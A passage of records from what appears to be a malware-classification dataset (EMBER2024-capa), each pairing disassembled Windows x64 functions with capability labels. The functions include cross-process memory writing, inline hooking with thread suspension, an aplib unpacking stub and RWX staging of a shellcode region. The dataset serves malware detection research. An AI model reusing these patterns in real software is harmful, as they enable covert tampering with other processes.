joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180062e30
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x18], r8
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov rbx, r9
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll__msize]
test eax, eax
jg 0x180062e6d
xor al, al
jmp 0x180063066
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
xor r13d, r13d
mov qword [rsp + 0x40], r13
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9, rbx
call fcn.180063090
mov r14, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
cmp r14, rbp
jne 0x180062ea6
xor bl, bl
jmp 0x180062ff7
mov rbx, r14
mov rcx, qword [0x1801e1580]
mov rax, qword [0x1801e1578]
cmp rax, rcx
je 0x180062ed2
mov rdx, qword [rbx]
nop
cmp qword [rax], rdx
je 0x180063030
add rax, 8
cmp rax, rcx
jne 0x180062ec0
add rbx, 8
cmp rbx, rbp
jne 0x180062eb0
mov r12d, r13d
sub rbp, r14
sar rbp, 3
test rbp, rbp
je 0x180062ff5
mov r15, r14
mov rax, qword [r15]
lea rbx, [rax + 0x70]
lea rdi, [rax + 0x6c]
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
lea r8d, [r9 - 0x38]
mov edx, ebx
mov rcx, qword [0x1801e1570]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rsp + 0x90]
mov rdx, rbx
mov rcx, qword [0x1801e1570]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
lea r8d, [r9 - 0x38]
mov edx, edi
mov rcx, qword [0x1801e1570]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rsp + 0x90]
mov rdx, rdi
mov rcx, qword [0x1801e1570]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0xa8]
mov r8d, 8
mov edx, ebx
mov rcx, qword [0x1801e1570]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0xa8]
mov r8d, 8
mov edx, edi
mov rcx, qword [0x1801e1570]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
inc r12d
lea r15, [r15 + 8]
movsxd rax, r12d
cmp rax, rbp
jb 0x180062ef1
mov bl, 1
test r14, r14
je 0x180063063
mov rdx, qword [rsp + 0x40]
sub rdx, r14
and rdx, 0xfffffffffffffff8
mov rax, r14
cmp rdx, 0x1000
jb 0x18006305b
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18006305b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
cmp rax, rcx
je 0x180062ed2
lea rdx, [rbx + 8]
mov r8, rbp
sub r8, rdx
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
sub rbp, 8
mov rcx, qword [0x1801e1580]
jmp 0x180062ed6
mov rcx, r14
call fcn.180083b80
movzx eax, bl
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x18006f6c0
Capabilities:
Create thread
Terminate thread

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, r9
cmp edx, 1
jne 0x18006f749
mov qword [rsp + 0x40], rdi
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
xor edi, edi
lea r8, [0x18006c300]
mov qword [rsp + 0x28], rdi
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r8, qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x28], rdi
xor ecx, ecx
mov qword [0x1801e1e70], rax
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r9, rbx
mov qword [rsp + 0x28], rdi
lea r8, [0x180069a80]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, qword [rsp + 0x40]
mov eax, 1
add rsp, 0x30
pop rbx
ret
test edx, edx
jne 0x18006f75a
mov rcx, qword [0x1801e1e70]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, 1
add rsp, 0x30
pop rbx
ret
Function at 0x180081c00
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x80
mov rdi, rcx
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r14, qword [rsp + 0x28]
cmp rdi, 0x40000000
jbe 0x180081c3b
lea rax, [rdi - 0x40000000]
cmp r14, rax
cmovb r14, rax
mov rsi, qword [0x1801e3350]
lea r15, [rdi + 0x40000000]
cmp qword [rsp + 0x30], r15
cmovbe r15, qword [rsp + 0x30]
sub r15, 0xfff
test rsi, rsi
je 0x180081c7d
cmp rsi, r14
jb 0x180081c75
cmp rsi, r15
jae 0x180081c75
cmp qword [rsi + 8], 0
jne 0x180081e3d
mov rsi, qword [rsi]
test rsi, rsi
jne 0x180081c60
mov qword [rsp + 0xa0], rbx
mov rbx, rdi
mov qword [rsp + 0xa8], rbp
cmp rdi, r14
jb 0x180081d02
nop word [rax + rax]
mov ebp, dword [rsp + 0x48]
mov rax, rbx
xor edx, edx
div rbp
sub rbx, rdx
sub rbx, rbp
cmp rbx, r14
jb 0x180081cf9
nop word [rax + rax]
mov r8d, 0x30
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x180081cf9
cmp dword [rsp + 0x70], 0x10000
je 0x180081d7b
mov rbx, qword [rsp + 0x58]
cmp rbx, rbp
jb 0x180081cf9
sub rbx, rbp
cmp rbx, r14
jae 0x180081cc0
test rsi, rsi
jne 0x180081de6
cmp rdi, r15
ja 0x180081e2d
nop dword [rax + rax]
mov ebp, dword [rsp + 0x48]
xor edx, edx
mov rax, rdi
mov ebx, ebp
div rbp
mov eax, ebp
sub rax, rdx
add rax, rdi
mov rdi, rax
cmp rax, r15
ja 0x180081e2d
mov r8d, 0x30
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x180081e2d
cmp dword [rsp + 0x70], 0x10000
je 0x180081db4
xor edx, edx
lea edi, [rbp - 1]
add rdi, qword [rsp + 0x68]
add rdi, qword [rsp + 0x50]
mov rax, rdi
div rbx
sub rdi, rdx
cmp rdi, r15
jbe 0x180081d32
jmp 0x180081e2d
test rbx, rbx
je 0x180081cf9
mov edx, 0x1000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x180081de6
cmp rbx, r14
jae 0x180081ca0
jmp 0x180081d02
test rdi, rdi
je 0x180081e2d
mov edx, 0x1000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x180081de6
cmp rdi, r15
jbe 0x180081d10
jmp 0x180081e2d
xor eax, eax
lea rcx, [rsi + 0x40]
mov rdx, rcx
mov qword [rsi + 8], rax
sub rdx, rsi
mov dword [rsi + 0x10], eax
nop dword [rax]
mov rax, qword [rsi + 8]
add rdx, 0x40
mov qword [rcx], rax
mov qword [rsi + 8], rcx
add rcx, 0x40
cmp rdx, 0xfc0
jbe 0x180081e00
mov rax, qword [0x1801e3350]
mov qword [rsi], rax
mov qword [0x1801e3350], rsi
mov rbp, qword [rsp + 0xa8]
mov rbx, qword [rsp + 0xa0]
mov rax, rsi
mov rsi, qword [rsp + 0xb0]
add rsp, 0x80
pop r15
pop r14
pop rdi
ret
Function at 0x180082830
Capabilities:
Enumerate threads
Suspend thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x40
xor r15d, r15d
mov r14d, edx
xor edx, edx
mov qword [rcx], r15
mov rbx, rcx
mov qword [rcx + 8], r15
mov ebp, r8d
mov esi, r15d
lea ecx, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180082982
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x1c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x1800829a0
lea esi, [r15 + 1]
nop dword [rax + rax]
cmp dword [rsp + 0x20], 0x10
jb 0x180082933
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [rsp + 0x2c], eax
jne 0x180082933
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rsp + 0x28], eax
je 0x180082933
mov rdx, qword [rbx]
test rdx, rdx
jne 0x1800828f2
mov rcx, qword [0x1801e1f10]
mov r8d, 0x200
mov dword [rbx + 8], 0x80
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbx], rax
mov rdx, rax
test rax, rax
je 0x18008295c
jmp 0x180082923
mov eax, dword [rbx + 8]
cmp dword [rbx + 0xc], eax
jb 0x180082923
mov rcx, qword [0x1801e1f10]
add eax, eax
mov r9d, eax
mov r8, rdx
shl r9, 2
xor edx, edx
mov dword [rbx + 8], eax
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov rdx, rax
test rax, rax
je 0x18008295c
mov qword [rbx], rax
mov ecx, dword [rbx + 0xc]
mov eax, dword [rsp + 0x28]
mov dword [rdx + rcx*4], eax
lea eax, [rcx + 1]
mov dword [rbx + 0xc], eax
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x1c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x1800828a0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x1800829a0
mov r8, qword [rbx]
mov esi, r15d
test r8, r8
je 0x1800829a0
mov rcx, qword [0x1801e1f10]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rdi
mov qword [rbx], r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 9
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x180082982
cmp qword [rbx], r15
je 0x180082a03
mov edi, r15d
cmp dword [rbx + 0xc], r15d
jbe 0x180082a03
nop dword [rax + rax]
mov rax, qword [rbx]
xor edx, edx
mov ecx, edi
mov r8d, dword [rax + rcx*4]
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x1800829fc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov r8d, ebp
mov edx, r14d
mov rcx, rsi
call fcn.1800826a0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [rbx + 0xc]
jb 0x1800829c0
mov eax, r15d
jmp 0x180082987
Function at 0x180082a10
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
mov eax, ecx
lea r9, [rsp + 0x30]
imul rbx, rax, 0x38
mov esi, edx
add rbx, qword [0x1801e3340]
mov r8, qword [rbx]
movzx eax, byte [rbx + 0x20]
and al, 1
movzx ecx, al
lea rdi, [r8 - 5]
cmove rdi, r8
mov r8d, 0x40
lea rbp, [rcx*2 + 5]
mov rcx, rdi
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x180082a74
mov eax, 0xa
jmp 0x180082b03
test esi, esi
je 0x180082a96
mov byte [rdi], 0xe9
mov eax, dword [rbx + 8]
sub eax, edi
sub eax, 5
mov dword [rdi + 1], eax
test byte [rbx + 0x20], 1
je 0x180082ab9
mov rax, qword [rbx]
mov word [rax], 0xf9eb
jmp 0x180082ab9
mov eax, dword [rbx + 0x18]
test byte [rbx + 0x20], 1
mov dword [rdi], eax
je 0x180082ab2
movzx eax, word [rbx + 0x1c]
mov word [rdi + 4], ax
movzx eax, byte [rbx + 0x1e]
mov byte [rdi + 6], al
jmp 0x180082ab9
movzx eax, byte [rbx + 0x1c]
mov byte [rdi + 4], al
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8, rbp
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
and byte [rbx + 0x20], 0xfd
and sil, 1
movzx eax, sil
shl sil, 2
add al, al
or al, byte [rbx + 0x20]
and al, 0xfb
or al, sil
mov byte [rbx + 0x20], al
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x180082b20
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
sub rsp, 0x30
mov r8d, dword [0x1801e334c]
mov esi, ecx
xor ecx, ecx
mov ebx, ecx
test r8d, r8d
je 0x180082b67
mov rax, qword [0x1801e3340]
add rax, 0x20
nop word [rax + rax]
movzx edx, byte [rax]
shr edx, 1
and edx, 1
cmp edx, esi
jne 0x180082b74
inc ebx
add rax, 0x38
cmp ebx, r8d
jb 0x180082b50
mov eax, ecx
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop rsi
ret
cmp ebx, 0xffffffff
je 0x180082b67
test esi, esi
mov qword [rsp + 0x48], rdi
mov edx, 0xffffffff
setne cl
mov r8d, ecx
lea rcx, [rsp + 0x20]
call fcn.180082830
mov edi, eax
test eax, eax
jne 0x180082c5d
mov r9d, dword [0x1801e334c]
cmp ebx, r9d
jae 0x180082bec
nop dword [rax + rax]
mov ecx, ebx
imul rdx, rcx, 0x38
mov rcx, qword [0x1801e3340]
movzx r8d, byte [rdx + rcx + 0x20]
shr r8d, 1
and r8d, 1
cmp r8d, esi
je 0x180082be5
mov edx, esi
mov ecx, ebx
call fcn.180082a10
mov edi, eax
test eax, eax
jne 0x180082bec
mov r9d, dword [0x1801e334c]
inc ebx
cmp ebx, r9d
jb 0x180082bb0
cmp qword [rsp + 0x20], 0
je 0x180082c5b
mov eax, dword [rsp + 0x2c]
test eax, eax
je 0x180082c47
mov rbx, qword [rsp + 0x20]
mov qword [rsp + 0x40], rbp
mov ebp, eax
nop dword [rax + rax]
mov r8d, dword [rbx]
xor edx, edx
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x180082c38
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rbx, 4
sub rbp, 1
jne 0x180082c10
mov rbp, qword [rsp + 0x40]
mov r8, qword [rsp + 0x20]
xor edx, edx
mov rcx, qword [0x1801e1f10]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
mov rdi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop rsi
ret
Function at 0x180082f40
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r15
sub rsp, 0x30
xor r15d, r15d
mov esi, edx
mov ebx, r15d
xor eax, eax
mov rdi, rcx
mov ebp, 1
lock cmpxchg dword [0x1801e1f08], ebp
je 0x180082f97
cmp rbx, 0x20
jae 0x180082f80
xor ecx, ecx
jmp 0x180082f82
mov ecx, ebp
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
xor eax, eax
lock cmpxchg dword [0x1801e1f08], ebp
jne 0x180082f76
cmp qword [0x1801e1f10], r15
je 0x180083091
test rdi, rdi
jne 0x180082fb7
mov ecx, esi
call fcn.180082b20
mov edi, eax
jmp 0x180083096
mov ecx, dword [0x1801e334c]
mov ebx, r15d
test ecx, ecx
je 0x180082fdf
mov rdx, qword [0x1801e3340]
mov rax, rdx
nop
cmp rdi, qword [rax]
je 0x180082fe9
inc ebx
add rax, 0x38
cmp ebx, ecx
jb 0x180082fd0
mov edi, 4
jmp 0x180083096
cmp ebx, 0xffffffff
je 0x180082fdf
mov eax, ebx
imul rcx, rax, 0x38
movzx eax, byte [rcx + rdx + 0x20]
shr eax, 1
and eax, ebp
cmp eax, esi
je 0x180083088
mov r8d, ebp
lea rcx, [rsp + 0x20]
mov edx, ebx
call fcn.180082830
mov edi, eax
test eax, eax
jne 0x180083096
mov edx, esi
mov ecx, ebx
call fcn.180082a10
mov edi, eax
cmp qword [rsp + 0x20], r15
je 0x180083096
mov eax, dword [rsp + 0x2c]
test eax, eax
je 0x180083072
mov rbx, qword [rsp + 0x20]
mov ebp, eax
nop dword [rax + rax]
mov r8d, dword [rbx]
xor edx, edx
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x180083068
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rbx, 4
sub rbp, 1
jne 0x180083040
mov r8, qword [rsp + 0x20]
xor edx, edx
mov rcx, qword [0x1801e1f10]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x180083096
neg esi
sbb edi, edi
add edi, 6
jmp 0x180083096
mov edi, 2
xchg dword [0x1801e1f08], r15d
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop r15
ret
Function at 0x140f1e058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140f1e1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140f1e089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140f1e06f
add dl, dl
jne 0x140f1e096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140f1e0f6
xor eax, eax
add dl, dl
jne 0x140f1e0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140f1e1ad
add dl, dl
jne 0x140f1e0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f1e0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f1e0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f1e0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140f1e0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140f1e07e
mov eax, 1
add dl, dl
jne 0x140f1e106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f1e113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140f1e0fb
sub eax, ebx
mov ebx, 1
jne 0x140f1e14c
mov ecx, 1
add dl, dl
jne 0x140f1e12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140f1e13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140f1e123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140f1e07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140f1e168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140f1e175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140f1e15d
cmp eax, 0x7d00
jae 0x140f1e19b
cmp eax, 0x500
jb 0x140f1e196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140f1e07e
cmp eax, 0x7f
ja 0x140f1e19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140f1e07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140f1e1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140f1e07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x2048913a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
lea rax, [rbp - 4]
mov r9, rax
mov r8d, 0x40
mov edx, 0x21b0b
lea rcx, [0x204893020]
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
jne 0x2048913d5
mov eax, 0
jmp 0x2048913dc
lea rax, [0x204893020]
add rsp, 0x30
pop rbp
ret

Function at 0x204891660
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.2048923a0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.2048923a0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x2048916d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x2048b8074]
mov r12, rcx
test ebx, ebx
jle 0x204891800
mov rax, qword [0x2048b8078]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x20489171c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x2048917a3
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x204891700
mov rcx, r12
call fcn.204891e50
mov rsi, rax
test rax, rax
je 0x204891822
mov rax, qword [0x2048b8078]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.204891f80
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x2048b8078]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x204891807
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x20489179c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x2048917b0
add dword [0x2048b8074], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x2048b8078]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x20489179c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.204891660
nop dword [rax]
xor ebx, ebx
jmp 0x204891727
mov rax, qword [0x2048b8078]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.204891660
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.204891660
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x204891ac0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x2048b80a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x2048b8080]
test rbx, rbx
je 0x204891b14
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x204891b0b
test r12, r12
je 0x204891b0b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x204891af0
lea rcx, [0x2048b80a0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x204891e50
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x2048b51c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x204891e70
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x204891e78
ret
cmp word [r8 + 0x18], 0x20b
jne 0x204891e70
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x204891ec5
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x204891ebc
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x204891e70
add rax, 0x28
cmp rax, r9
jne 0x204891ea8
xor eax, eax
ret

Function at 0x204891ed0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x2048b51c0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x204891ef0
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x204891ef8
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x204891ef0
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x204891f80
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x2048b51c0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x204891fa0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x204891fa8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret
Function at 0x140f17058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x140f171df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140f17089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140f1706f
add dl, dl
jne 0x140f17096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140f170f6
xor eax, eax
add dl, dl
jne 0x140f170a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140f171ad
add dl, dl
jne 0x140f170b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f170c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f170d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f170dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140f170ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140f1707e
mov eax, 1
add dl, dl
jne 0x140f17106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f17113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140f170fb
sub eax, ebx
mov ebx, 1
jne 0x140f1714c
mov ecx, 1
add dl, dl
jne 0x140f1712e
mov dl, byte [rsi]
